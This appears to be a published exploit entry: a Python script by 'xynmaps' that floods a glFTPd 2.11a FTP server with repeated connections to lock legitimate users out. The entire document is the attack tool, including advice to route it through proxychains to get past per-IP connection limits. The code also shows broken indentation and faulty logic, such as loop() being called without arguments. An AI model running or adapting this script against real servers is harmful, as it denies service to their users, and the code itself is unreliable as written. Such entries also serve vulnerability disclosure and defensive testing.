glFTPd 2.11a Denial Of Service

`# Exploit Title: glFTPd 2.11a - Remote Denial of Service  
# Date: 15/05/2021  
# Exploit Author: xynmaps  
# Vendor Homepage: https://glftpd.io/  
# Software Link: https://glftpd.io/files/glftpd-LNX-2.11a_1.1.1k_x64.tgz  
# Version: 2.11a  
# Tested on: Parrot Security OS 5.9.0  
  
#-------------------------------#  
  
#encoding=utf8  
#__author__ = XYN/Dump/NSKB3  
#glFTPd Denial of Service exploit by XYN/Dump/NSKB3.  
"""  
glFTPd only lets a certain amount of connections to be made to the server, so, by repeatedly making new connections to the server,  
you can block other legitimite users from making a connection to the server, if the the connections/ip isn't limited.  
(if it's limited, just run this script from different proxies using proxychains, and it will work)  
"""  
  
import socket  
import sys  
import threading  
import subprocess  
import time  
  
banner = """  
._________________.  
| glFTPd |  
| D o S |  
|_________________|  
|By XYN/DUMP/NSKB3|  
|_|_____________|_|  
|_|_|_|_____|_|_|_|  
|_|_|_|_|_|_|_|_|_|  
  
"""  
usage = "{} <TARGET> <PORT(DEFAULT:21> <MAX_CONNS(DEFAULT:50)>".format(sys.argv[0])  
  
def test(t,p):  
s = socket.socket()  
s.settimeout(10)  
try:  
s.connect((t, p))  
response = s.recv(65535)  
s.close()  
return 0  
except socket.error:  
print("Port {} is not open, please specify a port that is open.".format(p))  
sys.exit()  
def attack(targ, po, id):  
try:  
subprocess.Popen("ftp {0} {1}".format(targ, po), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)  
#print("Worker {} running".format(id))  
except OSError: pass  
def main():  
global target, port, start  
print banner  
try:  
target = sys.argv[1]  
except:  
print usage  
sys.exit()  
try:  
port = int(sys.argv[2])  
except:  
port = 21  
try:  
conns = int(sys.argv[3])  
except:  
conns = 50  
print("[!] Testing if {0}:{1} is open".format(target, port))  
test(target, port)  
print("[+] Port {} open, starting attack...".format(port))  
time.sleep(2)  
print("[+] Attack started on {0}:{1}!".format(target, port))  
def loop(target, port, conns):  
global start  
threading.Thread(target=timer).start()  
while 1:  
for i in range(1, conns + 3):  
t = threading.Thread(target=attack, args=(target,port,i,))  
t.start()  
if i > conns + 2:  
t.join()  
break  
loop()  
  
t = threading.Thread(target=loop, args=(target, port, conns,))  
t.start()  
  
def timer():  
start = time.time()  
while 1:  
if start < time.time() + float(900): pass  
else:  
subprocess.Popen("pkill ftp", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)  
t = threading.Thread(target=loop, args=(target, port,))  
t.start()  
break  
  
main()  
`